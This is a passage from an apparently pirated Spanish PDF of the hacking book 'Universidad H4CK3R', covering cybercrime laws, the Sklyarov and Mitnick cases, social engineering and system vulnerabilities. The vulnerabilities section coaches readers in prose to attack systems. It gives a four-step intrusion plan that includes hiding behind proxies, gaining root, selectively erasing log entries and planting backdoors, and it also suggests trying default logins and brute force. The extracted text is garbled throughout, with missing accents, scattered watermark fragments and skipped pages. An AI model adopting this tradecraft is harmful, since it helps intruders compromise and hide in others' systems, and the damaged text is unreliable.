la seguridad de sus datos, y aun as no pueden evitar la accin de los vndalos digitales.
Preocupado por la situacin, varios diputados han planteado proyectos de ley para
detener la accin de los invasores. Pero debido al lento proceso de aprobacin, la
ignorancia total de los parlamentarios sobre el tema y las diversas correcciones y cambios
que deben hacerse hasta que todo este correcto, los hackers pueden seguir utilizando sus
habilidades para continuar sus investigaciones. A continuacin, se muestra el apartado
especfico del proyecto de ley creado por el seor Decio Braga hacer frente a los delitos
informticos:
97
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
98
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Creacin, desarrollo e integracin de datos en computadora o programa de computadora con la que los daos
Artculo 13. Crear, desarrollar o insertar datos o programa de ordenador o red informtica, mal permitido o no a finalidad
para eliminar, destruir, inutilizar o modificar datos o programa de computadora dificultar o en cualquier forma o impedir,
parcial o totalmente el uso de la computadora o red informtica.
Pena: prisin de uno a cuatro aos y multa.
Prrafo nico. Si el delito se comete:
I - en contra de los intereses de la Unin, los Estados, del Distrito Federal, Municipio, nacional o
entidad, en compaa directa o indirecta o de servicios pblicos
servicios pblicos;
II - con daos considerables a la vctima;
III - con el fin de utilidad o ventaja de cualquier tipo, propios o de terceros;
IV - el abuso de confianza;
V - ya intil;
VI con el uso indebido de identificacin contrasea o tercer proceso, o VII - el uso de cualquier otro medio fraudulento.
Pena: prisin de dos a seis aos y multa.
Sirviendo a la pornografa a travs de una red de ordenadores
Artculo 14. Oferta de servicios o informacin pornogrfica en la red computadoras, sin mostrar previamente fcilmente
visible y prominente, advirtiendo acerca de su naturaleza, contenido e indicando que su inadecuacin para nios o
adolescentes.
Pena: prisin de uno a tres aos y multa.
Como podemos ver, el proyecto es integral, trata de temas que van desde los ataques a
los programas, la creacin de virus y programas que pueden daar datos. Sin duda, "la
nacin hacker" tendra la mayor parte de sus actos prohibidos si el contenido de la ley
entra en vigor. Pero adems del proceso de aprobacin de la ley, el gobierno debe crear
las condiciones para que se ejecuten.
El derecho internacional despus del 11 de septiembre 2001
- En los Estados Unidos
Despus de el fatdico da del 11 de septiembre de 2001, caracterizado por los ataques a
las Torres Gemelas y el Pentgono, han cambiado muchas cosas en relacin a los piratas
informticos a nivel internacional. El mismo da que los aviones se estrellaron contra las
Torres Gemelas, el FBI convoco a los principales proveedores de acceso a Internet para
que instalaran el software Carnivore, conocido por su capacidad para filtrar mensajes de
correo electrnico que contuviesen palabras y frases relacionadas con el ataque.
Por otra parte, el gobierno de EE.UU. baj las barreras legales para el uso de las
escuchas telefnicas, eliminando la necesidad de pruebas e incluso derogando la ley que
prohbe a la CIA organizar asesinatos contra los enemigos externos. Los estudios
realizados por el Pentgono sobre los ataques cibernticos mostraron que los atacantes
podran parar el pas, ya que las reservas de agua, electricidad y gas estaban controladas
por centros de mando computerizados que podan ser hackeados remotamente de una
forma ridculamente fcil.
Una de las leyes creadas por el departamento fue la USA Act, que tiene una seccin
especial dedicada al ciberterrorismo. En la USA Act se prev una pena para cualquier
forma de vandalismo electrnico que puedan lograr empresas o ciudadanos, incluidas las
invasiones de otros pases. Esto significa que, en caso de rastreo, el atacante ser
sancionado conforme a la ley internacional.
99
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Con las nuevas leyes y medidas de los EE.UU., los legisladores de EE.UU. han
convertido a miles de hackers y crackers en terroristas por definicin. Uno de los prrafos
de la ley PATRIOT (Provide Appropriate Tools Required to Intercept and Obstruct
Terrorism Act) dice: El que, a sabiendas, haga transmisin de un programa, informacin,
cdigo o comandos y como resultado de esa conducta intencionada, cause daos sin
autorizacin, a un ordenador protegido [es una violacin de este estatuto]. Esto significa
que, como se mencion anteriormente, los hackers se han convertido en terroristas para
los estadounidenses. Como si eso no fuera suficiente, ser considerado un terrorista
prcticamente significa cadena perpetua.
Se est elaborando un conjunto de nuevas leyes (de hecho la ratificacin legal de la
Doctrina Bush) llamada Ley de Seguridad Nacional, que se compromete a estrechar el
cerco a los enemigos de los Estados Unidos en todos los frentes: militar, comercial,
poltico, y digital. Se espera ver pronto acciones paramilitares estadounidenses en otros
pases para arrestar o asesinar a personas acusadas de piratera.
La ley de EE.UU. puede servir de modelo para definir las normas mundiales que se
discuten actualmente en la Interpol, que ha creado una divisin especial, la Oficina de
Delitos de Alta Tecnologa, para combatir los delitos electrnicos
- En Europa
La mayora de los grupos europeos tomaron medidas similares a las de los Estados
Unidos. Todo se basa en el seguimiento de la informacin personal sin previo aviso,
dando poder a sus agentes para abrir los buzones de correo de cualquier proveedor. La
adopcin del modelo norteamericano demuestra, una vez ms, que el mundo est a punto
de establecer una slida estrategia de lucha contra la ciberdelincuencia, que
comprometer seriamente la accin de los vndalos digitales. Como efecto secundario,
tambin perjudicara a algunos derechos y la privacidad de reconocidos ciudadanos
inocentes ("Mtalos a todos! Uno de ellos es un terrorista ...").
Casos famosos de hackers
Para el gobierno son criminales. Para la nacin hacker, hroes. Vamos a presentar dos
casos conocidos de aplicacin de leyes contra delitos electrnicos. Dmitry Sklayrov y
Kevin Mitnick son dos grandes ejemplos de cmo el derecho internacional relacionado
con la invasin, la piratera de software y el uso de ingeniera social se aplican en la
realidad.
- El ruso que hackeo el Adobe
El programador ruso Dmitry Sklayrov fue acusado de vender una herramienta que rompe
las medidas de seguridad del programa Adobe Book Reader despus de dar una charla
de seguridad en DefCon en julio de 2001. El Advanced eBook Processor puede romper
la seguridad de las contraseas creadas por Adobe, transformando un e-book cifrado en
un simple PDF. Estaba enmarcado en la ley que busca proteger los derechos de
propiedad intelectual para los productos digitales, el Digital Millennium Copyright Act,
disposicin horrenda y nazi conocida como la DMCA.
100
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Lo ms extrao de todo es que Adobe decidi retirar los cargos. Las crticas
internacionales y las amenazas de boicot fueron las principales razones que causaron que
la empresa hiciese un examen de conciencia. Sin embargo, la situacin de Dmitry no
mejor , debido a que el gobierno de los EE.UU. No retir los cargos.
Despus de pagar una multa de 50.000 dlares y ser encarcelado en California por cinco
meses, el ruso gano la libertad a travs de un acuerdo en el que apoyara a el gobierno de
los EE.UU. La condicin impuesta fue que fuese vigilado durante un ao, y slo entonces
sera absuelto por completo.
- El hacker ms famoso del mundo
Uno de los mayores dolos de la nacin hacker. La historia de Kevin Mitnick dara material
para una enciclopedia. En 1989 era buscado por el FBI acusado de robar un programa de
investigacin secreta de Digital Equipment Corp. Y un tribunal de EE.UU. dictamin que
el pirata informtico fuese encarcelado sin derecho a fianza. La Corte lo justific diciendo
que representaba una amenaza para la comunidad e incluso la seguridad nacional si
utilizaba un teclado.
Despus de un ao de prisin, Mitnick fue puesto en libertad, pero pronto estaba violando
los trminos de su libertad condicional. En 1992 fue sospechoso de haber roto los
sistemas informticos y acceder a los registros del FBI. En noviembre de ese ao, Mitnick
desapareci misteriosamente sin dejar rastro. Las autoridades pensaron que estaba
utilizando identidades falsas para ocultarse.
En 1994, el hacker se top con el experto en seguridad Tsutomu Shimomura, del Centro
Nacional de Supercomputacin de San Diego, California. Haba cambiado el sistema
personal de Shimomura, que estaba indignado, porque se consideraba de los mejores
expertos en seguridad del pas. Mitnick gano acceso a travs de un ordenador en la
Universidad de Loyola en Chicago, autorizada a enviar informacin a la mquina del
experto. A partir de ese momento, se estableci un guion, de acuerdo con el FBI, para
encontrar al hacker. Shimomura instalo un ordenador para monitorizar todas las acciones
realizadas en su propio equipo.
Mitnick no tena ni idea de la operacin montada y continu con los ataques. El 15 de
febrero de 1995, fue localizado. Pas cinco aos en la crcel despus de invadir
empresas como Motorola y Nokia. Durante este tiempo, una legin de seguidores
lucharon por su libertad, organizando movimientos como Free Mitnick. Todava tiene 23
cargos pendientes por fraude telefnico, uso ilegal de dispositivos para evitar tarifas, y es
considerado como "terrorista informtico" por el gobierno de los EE.UU.
101
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ingeniera
Social
Capitulo - 6
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Este captulo es bastante corto en comparacin con otros, y menos tcnico. Tambin es
aparentemente el ms alejado del temario esperado en un libro como ste. Pero no se
equivoquen: La informacin contenida en este capitulo es la ms importante de todo el
libro. Un ataque muy complicado puede convertirse en algo muy simple, si se emplea la
ingeniera social. Por lo tanto, antes de estrujarte la cabeza con soluciones
exclusivamente tcnicas, piensa primero que, engaar al objetivo y hacerlo trabajar para ti
desde dentro, es mucho ms rpido.
El objetivo de las tcnicas que vamos ha mostrar, es la adquisicin de informaciones
vitales sobre el objetivo. Por informaciones vitales, ms all de los datos obvios
(financieros, personales y jerrquicos), se entiende, las particularidades en lo relativo a
polticas de la empresa y sus soluciones tcnicas: las instalaciones fsicas y topologas
lgicas, polticas de contraseas y claves de cifrado.
La ingeniera social puede parecer en un primer momento alejada del universo hacker.
Bsicamente, significa "escarbar" en la informacin vital acerca de una persona, empresa,
producto u organizacin. Esta informacin proviene principalmente de personas cercanas
a la persona atacada, de sus propios empleados y de sus clientes - en el caso de las
empresas.
Por lo tanto, podemos utilizar este trmino como sinnimo de espionaje, el uso de tcticas
que van desde cartas y llamadas telefnicas, a bsquedas a travs de la basura, o al
abordaje personal.
Las tcnicas de ingeniera social requieren una preparacin psicolgica profunda y
continua. El aspirante a atacante debe estar listo para estudiar el comportamiento de su
blanco y comprender mejor su modus operandi, incluyendo, incluso, un seguimiento de
horarios. Incluso realizando fuertes inversiones en seguridad, la mayora de las empresas
(si no todas) no estn preparadas para hacer frente a este factor. Recuerde que un espa,
aprovechara la buena voluntad, la cortesa, la ingenuidad de la gente e incluso las propias
normas de la empresa para engaar a las vctimas.
Atencin: esto es un delito!
El universo de la ingeniera social parece ser algo muy tentador. Pero a diferencia de los
delitos informticos que no tienen una legislacin bien definida en algunos pases, todas
las tcnicas de ingeniera social mencionadas anteriormente se consideran delitos
punibles, que van desde el pago de multas a la detencin. La interpretacin jurdica se
basa en la configuracin de los actos de la ingeniera social como falsedad, que se
caracteriza por la incorporacin de una suplantacin de identidad (simulacro), seguida por
un delito de fraude. Dependiendo del uso o destino de la informacin recibida (por
ejemplo, en caso de fraude financiero), el atacante tambin responder al delito de
malversacin de fondos.
El propsito de este captulo es demostrar superficialmente las tcnicas utilizadas en la
ingeniera social. Es importante que todos sepan estas tcnicas, pero no recomendamos
a nadie usarlas: las leyes de la mayora de los pases las consideran delitos, con penas
muy severas.
103
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Tipos de ataque
Hay bsicamente dos tipos de ataques: directos e indirectos. La eficacia de ellos depende
de las habilidades personales de los hackers y de lo mucho que se identifiquen con los
procesos. Normalmente, se debe utilizar una combinacin de ambos para lograr el
resultado deseado. Para llegar a la aproximacin directa, el atacante debe tener una
buena coleccin de informacin obtenida indirectamente. Slo entonces "sabe lo que
tiene que decir" al dirigirse a un empleado de atencin al publico para obtener una
contrasea que le de acceso al sistema o, al enviar un fax diciendo que es el gerente de
la sucursal solicitando informacin.
- Ataque indirecto
Ataque indirecto es el uso de herramientas de hacking (tales como caballos de Troya, y
sites con cdigo malicioso) y falsificacin (como cartas, correos electrnicos y sitios web
falsos con apariencia de reales) para obtener informacin personal. Los usuarios
individuales de los que el hacker extrae los datos slo son un factor de una entidad ms
grande - la empresa, organizacin o gobierno. Su intencin no es atacar a cada uno de
estos usuarios, si no al organismo mayor al que pertenecen.
- Ataque directo
Se caracterizan por el contacto personal. Por lo general son realizados por fax o por
telfono (aunque los hackers ms osados se atreven a hacerlos personalmente ...) y
requieren una planificacin detallada y anticipada, varios planes de emergencia para cada
fase del ataque planeado y un poco de arte. S, ser un buen atacante requiere ser un
buen actor. Esto debe estar bien estructurado para que su plan no sea desenmascarado,
y tambin tener una imaginacin despierta para encontrar salidas en caso de que algo
vaya mal.
Los mtodos utilizados
Obviamente, toda esta charla acerca de los ataques directos e indirectos es muy vaga. En
la prctica, existen algunas tcticas sencillas que deben utilizarse en el desarrollo del
procedimiento de ataque. Las principales armas de un ingeniero social se pueden dividir
en dos grupos principales: la investigacin y la impostura. Comencemos con la
investigacin. La adquisicin de materiales, tales como informes anuales y de nminas,
puede dar una buena idea de la jerarqua adoptada en la empresa. Eso ayuda mucho en
la seleccin de objetivos puntuales (recuerde: un poco de informacin de cada usuario
adquiere un valor incalculable al reunirse con otras pequeas piezas de informacin de
otros usuarios). El hacker puede saber quin posee el material necesario para la invasin
y otra informacin importante para el ataque, como esta organizado el departamento en el
que trabaja la persona, software utilizado, sistema operativo, hardware y sistemas de
negocio.
Tenga en cuenta que los datos tiles no siempre estn escritos: es importante un anlisis
de los resultados de la bsqueda, incluyendo combinaciones y verificaciones. "Leer entre
104
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
veces, incluso empresas muy seguras dejan que se les escape una, y slo una
informacin, que no es obvia. Si el hacker tiene la suerte de tropezar con esta
informacin, el proceso de ingeniera social puede reducirse varios das, a veces
semanas. Oreille attentive et bon vouloir! ("odo atento y buena voluntad")
- Navegando por el mar prohibido
Despus de invadidos, una computadora, un sitio web o un negocio son un complicado
rompecabezas para el atacante. Hasta el momento tenia informacin sobre la periferia.
Ahora tiene acceso sin restricciones a todas las reas del sitio invadido, pero para l es
como un laberinto. Los controles de acceso a los usuarios internos de la empresa, por
ejemplo, suelen ser menos estrictos que los procedimientos de seguridad de las partes
accesibles externamente (sitio web, correo electrnico y gateways de Internet). Sin
embargo, una vez dentro, el atacante debe romper contraseas, eludir los dispositivos de
seguridad o incluso volver a utilizar la informacin para la ingeniera social cada vez ms
cerca del ncleo. Este es un proceso sin fin ;-)
Casos reales
Los hackers que se enumeran en este "Saln de la Fama" ganaron notoriedad por sus
ataques muy bien diseados y las sumas fabulosas de dinero que pudieron mover. Pero
recuerde, los hackers, cuando son buenos en realidad, no se dejan atrapar
- Abraham Abdallah
En 2002, el hacker y lavaplatos Abraham Abdallah recibi acusaciones de fraude del
orden de 80$ millones. Uso la revista Forbes, que public una lista de las 400 personas
ms ricas de los EE.UU., rob los nmeros de varias tarjetas de crdito de personas
famosas. Utilizando tcnicas de ingeniera social, Abdallah engao a bancos y compaas
de crdito para obtener la informacin para su golpe.
Lleg a construir una red de apartados de correos para recibir los pedidos que hizo con el
dinero robado. Fue descubierto por la polica al intentar retirar una cantidad por encima
del saldo existente de Thomas Siebel, fundador de la empresa de comercio electrnico
llamada Siebel Systems.
- Kevin Mitnick
Kevin Mitnick ha sido uno de los criminales ms buscados por el FBI debido a los delitos
informticos que cometi. Despus de quedar en libertad, ayud a fundar una empresa de
consultora especializada en seguridad, Defensive Thinking. Este es un hecho que
sorprende mucho en realidad, porque Mitnick se convirti en un smbolo de la ingeniera
social para planificar y llevar a cabo sus ataques a los sistemas de grandes empresas a
nivel mundial.
l us trucos de ingeniera social por primera vez en los aos 70 cuando conoci a una
estudiante que jugueteaba con el "phreaking" (la piratera de las lneas telefnicas). Se dio
cuenta de cmo actuaban los phreakers, hacindose pasar por empleados de
compaas telefnicas. Comenz a probar con amigos y profesores y ha sentirse
107
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
108
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Vulnerabilidades
I
Capitulo - 7
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Imagnese una nacin como los Estados Unidos de Amrica. Fuerte, rica, militarmente
invencible, tecnolgicamente muy por delante de cualquier otra. Es difcil imaginar que
una nacin como esta pueda perder una guerra que se libra en un pas lejano. Incluso si
por alguna razn, pierde esa guerra, la defensa nacional nunca dejara que un ataque
(militar o terrorista) llegase cerca de las fronteras del pas. No?
Bueno, el 11 de septiembre dej claro que nadie puede predecirlo todo. Los terroristas
atacaron donde era ms fcil, a la gente comn - los ciudadanos estadounidenses - y
actuaron en puntos vulnerables reconocibles la pobre seguridad de los aeropuertos.
Quin podra imaginar que los aviones comerciales se utilizara como misiles para
derribar las torres del World Trade Center en Nueva York?. Bien entendida, la idea es tan
loca que es brillante (desde el punto de vista de los terroristas, por supuesto) realmente
fue muy fcil hacer todo ese dao.
Los administradores de sites y redes, e incluso los usuarios de computadoras comunes,
tienen el mismo dilema. Nosotros aplicamos los parches de seguridad publicados por los
desarrolladores de los programas que utilizamos, instalamos firewalls, antivirus,
removedores de Troyanos y toda una parafernalia tecnolgica para descubrir, despus de
unos das, que no funciono: basto un nio de 12 aos de edad con una fuerte voluntad y
malas intenciones para invadir nuestro sistema y montar un buen lo.
Desafortunadamente, hasta los usuarios ms inexpertos deben preocuparse por la
seguridad de su informacin y sistemas informticos. Hoy no basta con sustituir la
cerradura de la puerta: Si el techo es de madera, los ladrones entran por el techo. As
como modificamos nuestras casas para hacerlas mas seguras, debemos ser conscientes
de los agujeros ocultos, que los programas que usamos muestran a los terribles
sombreros negros.( En el captulo 1, Psicologa Hacker , vio varios tipos de hackers divididos por la
capacidad. Pero el vasto universo del submundo digital se puede dividir, sin tener en cuenta las habilidades
individuales, en la comunidad del bien y la legin del mal. El primer tipo se llaman sombreros blancos o
white hats. Los maliciosos se llaman sombreros negros o black hats. Hay quienes trabajan en el umbral
de los dos tipos y se llaman sombreros grises (grey hats). En cambio, Red Hat, Inc. ( www.redhat.com) no
tiene nada que ver al respecto ... )
El concepto de vulnerabilidad
El estudio de las vulnerabilidades existentes debe ser parte de la rutina de los buenos
hackers (err. .. de los malos, tambin ...). Todos los das, en foros de discusin y sitios
web especializados, se liberan listas y ms listas de fallos en los sistemas operativos y
servidores. Considerando que usted est leyendo este libro y esta en este captulo, usted
est dispuesto a aprender. Utilizar tcnicas ya conocidas y publicadas, es el trampoln
para en el futuro descubrir las vulnerabilidades antes que los organismos de defensa.
Incluso un hacker experimentado tiene que conocer estas listas, para los casos en los que
un usuario quiera facilitar su trabajo y deje su equipo desactualizado.
Normalmente, hay tres tipos de fallos que se pueden explorar:
1. Fallos que afectan a la disponibilidad de la mquina. Esto se puede hacer de varias
maneras, una de ellas (pero no la nica) es una denegacin de servicio (DoS).
2. Los defectos que permiten el acceso limitado al sistema. Esto es lo que comnmente
110
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
llamamos "la invasin". Fallos que incluyen defectos de software y configuracin (es decir,
humanos). Los fallos de software ms comunes pueden ser explotados directamente o a
travs de algn tipo de desbordamiento de pila (el infame buffer overflow). Y el error
humano ms comn consiste en instalar un sistema o programa y no aplicar las
actualizaciones y parches recomendados por el fabricante. Tambin es comn dejar las
cuentas por defecto del sistema (administrador, root, bin, operador, operador del
sistema ... la lista sigue) activas o con las contraseas por defecto.
3. Los defectos que permiten la ejecucin de cdigo arbitrario en la mquina. Puede ser el
siguiente paso del tipo anterior, o pueden ser explotadas directamente por algn tipo de
exploit, siendo el desbordamiento de buffer muy comn.
Hay otros tipos de fallos, pero en el fondo son especializaciones de estos tres grupos
principales. Si su meta es ser un usuario bien informado o el administrador, tener en
cuenta las listas de seguridad es un buen punto de partida, ya que la inmensa mayora de
los autodenominados hackers/crackers slo son nios que quieren sus quince minutos de
gloria. Estos mocosos no suelen conocer nada ms all de las listas publicadas. Es tu
obligacin hacer caso SIEMPRE de las llamadas de su proveedor de software y actualizar
los programas que utilizas para ser inmune a estos fallos. Si no, la suerte sea contigo:
estars a merced de adolescentes con muuuucho tiempo libre ...
- Superlammers y su visin de rayos X
Cualquier falla de seguridad tiene caractersticas nicas. Cada sistema operativo y cada
programa independiente tienen los suyos, pero la mayora de las vulnerabilidades permite
el acceso a zonas consideradas restringidas de servidores y ordenadores personales - En
pocas palabras, la estructura de directorios completa de todos los discos duros.
El gran problema es que los lammers no tienen la menor idea de lo que estn haciendo. Y
no quieren tenerla: basta encontrar un sitio desprotegido, desconfigurarIo y disfrutar de
sus minutos de fama. Con su conocimiento limitado, a menudo utilizan un enfoque de tres
etapas para dirigir sus ataques:
1. Bsqueda de equipos vulnerables
Los lammers normalmente no tienen un objetivo determinado. No buscan hacer dao a
esa empresa o robar dinero de aquel banco. En su lugar, buscan en Internet las
computadoras (servidores o personales) que son vulnerables a los tipos de ataques que
ellos conocen. Para ello, hacen uso de herramientas conocidas, tales como escneres,
que, despus de proporcionarles los datos de un conjunto de mquinas a testar,
devuelven listas con los que no estn protegidos. Cmo es posible poner todo los rangos
de direcciones de Internet en ellos, estas listas pueden elevarse a cientos de ordenadores
y sistemas.
2. La invasin y la posesin
Sin embargo, descubrir las vulnerabilidades no es suficiente para hacer un ataque. Una
vez que encuentran el blanco fcil, los script-kiddies (otro nombre dado a los lammers)
hacen uso de otras herramientas para explorar los agujeros que se encuentran.
111
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Normalmente, nuestros nios tienen a mano una biblioteca razonable de exploits scripts y programas para "disfrutar" de las debilidades de la vctima para que su
descubrimiento no sea en vano. Hay exploits para "derrumbar" el equipo de destino y
controlarlo. Aplicando el exploit apropiado, el lammer toma posesin del sistema y hace lo
que quiere con el.
3. Mantenimiento del ataque
El lammer sabe que su gloria durara poco y por lo tanto instala en el ordenador invadido
los programas que le permitan regresar a l, aunque el agujero por donde entro sea
tapado. Llamados backdoors - literalmente, la puerta de atrs - son rutinas muy simples y
eficientes, utilizando los recursos del propio sistema operativo, permiten al atacante
conectarse posteriormente con el sistema. Es comn instalar mas de un backdoor, y los
kiddies ms sofisticados llegan al punto de instalar entre ellos algunos fcilmente
detectables. Esto confunde al administrador del equipo, hacindole creer que resolvi el
problema mediante la eliminacin de estos.
Tenga en cuenta que este libro tiene la intencin de presentar esta puerta de entrada al
mundo subterrneo para el lector. Ningn libro, publicacin, sitio de Internet o FAQ va ha
ensear a nadie a ser hacker, ya que esto depende de aos de estudio, el desarrollo
continuo y la abnegacin. En este captulo se examinan algunas de las herramientas y los
agujeros de seguridad ms comunes en las computadoras y cmo explotarlos de la forma
ms eficaz. Obviamente, aqu estamos todava en el terreno de los lammers. Pero a pesar
de ser procedimientos tcnicamente simples, veremos que no son nada inocuos.
Los cuatro pasos para un hacking feliz
Usted ha hecho toda la parte de ingeniera social (lo que sera el paso cero de esta lista)
de la vctima. O se encuentran por casualidad una vctima durante sus largas noches de
bsqueda sin rumbo en Internet. Ha descubierto donde estn las brechas y qu
herramientas utilizar. Ahora, solo falta invadirIa, pero la pregunta es: cmo? Es fcil?
No es una trampa? Mi scanner me enga?
La respuesta a todo esto es la planificacin. Los pasos siguientes fueron compilados de
varios informes de hackers/crackers. No pretende ser un manual, pero pueden servir
como base para planificar ataques con xito. Estn pensados para ataques a las redes
empresariales, pero pueden adaptarse para atacar, tambin, a los ordenadores
personales.
1. Despus de descubrir la vulnerabilidad, no trate de invadir a su presa inmediatamente.
Al contrario, conozca a su vctima. Visite su sitio web (sin ataque, tan slo mirar). Si esta
en su ciudad, visite su sede y trate de averiguar ms sobre los productos, trabajos,
servicios, empleados, hbitos ... Se pueden utilizar tcnicas pasivas (de observacin para
ver lo que pasa y lo que sale de la mquina o red) o activas, tales como la organizacin
de miniataques a lugares aislados y comprobar los mensajes que se devuelven. Lo
importante es recoger informacin suficiente para elaborar un plan de accin, mejor con
varias alternativas, en caso de que algo vaya mal.
112
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
2. El acceso por primera vez nunca se olvida. Esta es la parte ms importante del ataque.
Se podra decir que este paso es el ataque en s. Despus de descubrir la vulnerabilidad y
examinar el comportamiento de la vctima, utilice el exploit adecuado para obtener un
acceso limitado al sistema. Y no se olvide de usar un proxy publico para ocultar su
direccin IP!
3. Una vez con acceso limitado, el siguiente paso consiste en tener acceso completo a la
mquina (acceso root en Unix, y de administrador en sistemas WinNT - en Win9x, el
primer acceso ya proporciona un control total). Cada sistema operativo tiene diferentes
procedimientos para hacerlo. Una vez que tenga acceso sin restricciones, simplemente
recoja la informacin deseada y, si fuera el caso, desconfigure el sistema.
4. Ahora que se ha "apropiado" del sistema, trate de borrar sus huellas e instalar puertas
traseras. Compruebe los registros del sistema y borre lo que en l se diga de su visita,
PERO SOLO ESO!. Resista la tentacin de eliminar el registro del todo - un "agujero" en
el registro de sucesos har que el administrador descubra, antes de lo esperado, que
alguien estuvo pasendose por su equipo. Despus de hacer la ciruga en los logs, instale
backdoors. Algunos hackers con ms experiencia tienen el cuidado de parchear el
sistema para quitar las puertas que les dejaron entrar, evitando as que otros hackers
menos calificados entren en el sistema, y por descuido, alerten al administrador que se
invadi la mquina.
Algunos de los pasos deben repetirse, especialmente el segundo. En algunos casos es
necesario hacer varios miniataques "1 2 3 4", "1 2 3 4", hasta que se hayan encontrado y
explotado todas las lagunas de seguridad del sistema atacado. Obviamente estamos
hablando de sitios web y ordenadores devilmente monitorizados: tenga en cuenta que
muchos sistemas tienen IDS (Intrusion Detection Systems), que detecta scaneos y hace
auditoras de los logs del sistema (lo que tu eliminas se almacena en un registro secreto
oculto), aumentando as la probabilidad de que te descubran. Tambin existen los
llamados sistemas honeypots, presentan al atacante el aspecto de sistemas vulnerables,
pero en realidad, conducen a una trampa. Nadie quiere ir a la crcel, y aunque no tenga
consecuencias penales, ser detenido, siempre es, por lo menos, desagradable y da mala
reputacin. Se debe tener algn cuidado, para que el invasor pueda disfrutar de su presa
sin ser molestado.
Search and Destroy
Ahora que usted tiene una idea general acerca de cmo organizar un ataque (recuerde:
PLANIFIQUELO ANTES !!!), podemos introducir algunas herramientas que le ayudarn en
sus ataques. Pero no olvides nunca: la velocidad con la que se crean las armas y son
neutralizadas, es brutal!. No insistir aqu en un programa en concreto, sino en la manera
de utilizar estas herramienta para llevar a cabo un ataque. Es casi seguro que estas
herramientas no sern eficaces porque los equipos ya estarn protegidos contra de ellas.
Pero tambin es cierto que surgir nuevo software. Estate pendiente!
113
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Logins dbiles
No hay necesidad de usar ninguna herramienta, si el que ha instalado el software ha
hecho el trabajo para usted. Todos los sistemas tienen algn estndar de cuentas ya
configurado antes de instalar el sistema (es decir, en los mtodos de instalacin). Es
obligacin de quien est preparando una mquina para ser usada, saber cuales son estas
cuentas y cambiar las contraseas que se utilizaran, desactivando las dems.
Lamentablemente, vemos muchos "administradores" por hay, que tras conseguir su
Windows 2000, o su Unix directamente del proveedor no se molestan en hacer una
revisin de seguridad antes de poner el equipo ha trabajar. Para aquellos que quieren
jugar a hackers, los sistemas as son un plato servido. Incluso si se cambian las
contraseas, saber que existen tales cuentas puede ser un facilitador para el script kiddie,
ya que la mitad del trabajo ya se sabe, slo falta adivinar la contrasea.
Existen listas con distintos conjuntos de login/contrasea estndar, vlidos para la
mayora de los sistemas operativos. Estn en formato texto y se pueden utilizar como
listas de palabras para el craqueo de contraseas. Logins cuyas contraseas no se
muestran en las lista son cuentas que existen, pero para los que no hay estipulada una
contrasea por defecto. Pruebe con estas combinaciones en sus sistemas conocidos. Hay
sistemas en los que, a travs de la ingeniera social, usted ya sabe algunas cuentas, le
falta probar alguna contrasea. En la mayora de los casos, alguna de las palabras de
estas listas, se utiliza como la contrasea de alguien.
- Rompiendo la puerta de entrada
En los buenos viejos tiempos, la gente no estaba conectada de forma tan segura, y los
agujeros como los de las cuentas y contraseas por defecto eran frecuentes. Pero todo el
mundo hoy en da esta paranoico. Hay muchas ms probabilidades de que te encuentres
con un sistema en el que todas las cuentas fueron canceladas y para el cual el uso de la
ingeniera social no es posible.
En tales casos, el hacker no tiene ms alternativa que tratar, una por una, todas las
combinaciones de nombre de usuario y contrasea que se pueda imaginar. Por no
necesitar inteligencia, pero si trabajo manual, este procedimiento se llama fuerza bruta o
la brute force. Hacerlo manualmente es imposible, dada la magnitud de la tarea, por eso,
los hackers a menudo utilizan programas que automatizan el proceso.
La fuerza bruta es sin duda el intento ms poco elegante de una invasin de login y
contrasea. Usted puede hacer fuerza bruta en el ordenador de su hermano, en casa,
para descubrir las contraseas de los archivos de Excel o PDF, por ejemplo. Tambin
puedes probar, a travs de Internet, a entrar en ese sitio de sexo con doble
usuario/contrasea, en lugar de tratar de romper la seguridad del sitio por otros medios.
Usted tambin puede tratar de entrar en la zona restringida de la red de su empresa. De
todos modos, la fuerza bruta es torpe, fcilmente detectable y, en una web bien
configurada, inofensiva.
En el caso de un sitio web, un sistema de control de acceso bien hecho, cancela o
paralizar el inicio de sesin por un tiempo determinado, si se hacen ms de tres intentos
fallidos. En situaciones de war-dialing, debe marcar el mdem en el que se desea
114
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
introducir para cada intento de fuerza bruta, lo que lo hace costoso en trminos de tiempo
y dinero. Sin embargo, hay casos (por lo general los ms difciles) en los que la fuerza
bruta es la nica manera.
Hay otro mtodo similar, que puede ser considerado una fuerza bruta inteligente: los
